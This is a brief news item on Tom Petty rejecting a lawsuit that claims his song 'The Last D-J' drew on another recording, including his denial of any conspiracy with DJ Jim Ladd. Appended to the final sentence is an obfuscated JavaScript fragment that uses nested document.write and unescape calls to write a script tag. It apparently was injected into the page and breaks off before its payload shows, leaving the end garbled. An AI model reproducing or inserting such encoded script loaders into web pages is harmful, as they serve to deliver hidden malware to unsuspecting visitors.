Tom Petty says he doesn't take kindly to accusations he stole someone else's idea for his song, 'The Last D-J.'
Petty has responded to a lawsuit filed against him and a disc jockey in Los Angeles. He says the suit against him "will be strongly defended." Petty says it's "ludicrous and insulting" to allege that he and d-j Jim Ladd conspired to rob the plaintiff of a business opportunity. In fact, he says, he has never even heard the recording the lawsuit claims influenced the song.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22